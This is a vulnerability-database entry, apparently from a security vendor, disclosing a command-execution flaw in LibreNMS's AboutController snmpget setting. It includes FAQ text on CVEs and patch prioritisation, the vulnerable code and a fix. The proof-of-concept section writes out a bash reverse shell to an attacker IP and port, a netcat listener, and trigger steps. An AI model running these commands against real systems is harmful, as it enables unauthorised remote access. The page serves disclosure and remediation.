How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

383,463

Total vulnerabilities in the database

LibreNMS Vulnerable to Remote Code Execution via AboutController — librenms / librenms

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Remote Code Execution via AboutController in LibreNMS

Summary

A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the snmpget configuration parameter to execute arbitrary system commands. When the /about endpoint is accessed, the application executes the configured binary path via shell_exec() without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.

Severity: High (CVSS 7.2) Attack Vector: Network Privileges Required: High (Administrator) User Interaction: None Impact: Complete system compromise with web server privileges

Details

Vulnerable Code

File: app/Http/Controllers/AboutController.php Line: 85

&#039;version_netsnmp&#039; =&gt; str_replace(&#039;version: &#039;, &#039;&#039;, 
    rtrim(shell_exec(LibrenmsConfig::get(&#039;snmpget&#039;, &#039;snmpget&#039;) . &#039; -V 2&gt;&amp;1&#039;))),

Root Cause

The AboutController retrieves the snmpget configuration value from the database and directly concatenates it into a shell_exec() call without proper validation or escaping. While the sanitizePath() function attempts to validate executable paths by blocking special characters (;, `, #, $, |, &, ', ", >, <, (), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.

Configuration Access

The snmpget configuration can be modified through the web interface:

Endpoint: PUT /settings/snmpget
Controller: SettingsController::update()
Required Privileges: Administrator
Config Definition: resources/definitions/config_definitions.json

&quot;snmpget&quot;: {
    &quot;default&quot;: &quot;/usr/bin/snmpget&quot;,
    &quot;type&quot;: &quot;executable&quot;
}

Validation Analysis

The sanitizePath() function in DynamicConfigItem.php:

// LibreNMS/Util/DynamicConfigItem.php:277-284
private function sanitizePath(string $path): string|false
{
    if (preg_match(&#039;/[`;#$|&amp;\&#039;&quot;&gt;&lt;(]/&#039;, $path)) {
        return false;
    }
    return realpath($path);
}

// LibreNMS/Util/DynamicConfigItem.php:107-110
} elseif ($this-&gt;type === &#039;executable&#039;) {
    $value == $this-&gt;sanitizePath($value);
    return $value !== false &amp;&amp; is_file($value) &amp;&amp; is_executable($value);
}

Attack Scenarios

| Scenario | Description | |----------|-------------| | Insider Threat | Internal admin creates malicious file → updates config → RCE | | Privilege Escalation | Attacker with limited access → creates file → full RCE | | Supply Chain | Malicious package installs binary → admin uses it → RCE |

PoC

Prerequisites

Valid administrator credentials for LibreNMS web interface
Ability to create a file on the target system (via prior access, SSH, or another vulnerability)

Proof of Concept - Reverse Shell

Step 1: Create Malicious Executable

Create a reverse shell payload that connects back to the attacker:

ATTACKER_IP=&quot;172.16.69.144&quot;
ATTACKER_PORT=9001

bash -c &#039;bash -i &gt;&amp; /dev/tcp/&#039;$ATTACKER_IP&#039;/&#039;$ATTACKER_PORT&#039; 0&gt;&amp;1&#039; 2&gt;/dev/null

Save this as /tmp/rev_shell.sh and make it executable:

chmod +x /tmp/rev_shell.sh

Step 2: Setup Netcat Listener

On your attacking machine, start a netcat listener:

nc -lvnp 9001

Step 3: Update Configuration via Web Interface

Settings → External → Binaries
Locate snmpget configuration
Update the value to: /tmp/rev_shell.sh
Click Save

Step 4: Trigger RCE

Access the /about endpoint to execute the malicious binary:

Impact Summary

| Category | Level | Description | |----------|-------|-------------| | Confidentiality | HIGH | Read config files, database credentials, SSH keys | | Integrity | HIGH | Create webshells, backdoors, modify code | | Availability | HIGH | Disrupt services, delete data, stop monitoring | | Scope | CHANGED | Compromise extends beyond application to system |

Who Is Impacted

LibreNMS installations where attacker has admin credentials AND file system access
Organizations using LibreNMS for network monitoring
Systems monitored by LibreNMS (lateral movement risk)

Remediation

Replace shell_exec() with Symfony Process component:

// BEFORE (vulnerable):
shell_exec(LibrenmsConfig::get(&#039;snmpget&#039;, &#039;snmpget&#039;) . &#039; -V 2&gt;&amp;1&#039;)

// AFTER (safe):
$process = new Process([LibrenmsConfig::get(&#039;snmpget&#039;, &#039;snmpget&#039;), &#039;-V&#039;]);
$process-&gt;run();

Published: Aug 18, 2026
Updated: Aug 19, 2026
GHSA: GHSA-jf24-8g2h-2wg7
Severity: Medium
Exploit:
CISA KEV:

No technical information available.

CWEs:

OWASP TOP 10:

A1 - Injection

Affected Software
References

Software	Affected versions
librenms / librenms	`< 26.5.0`

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.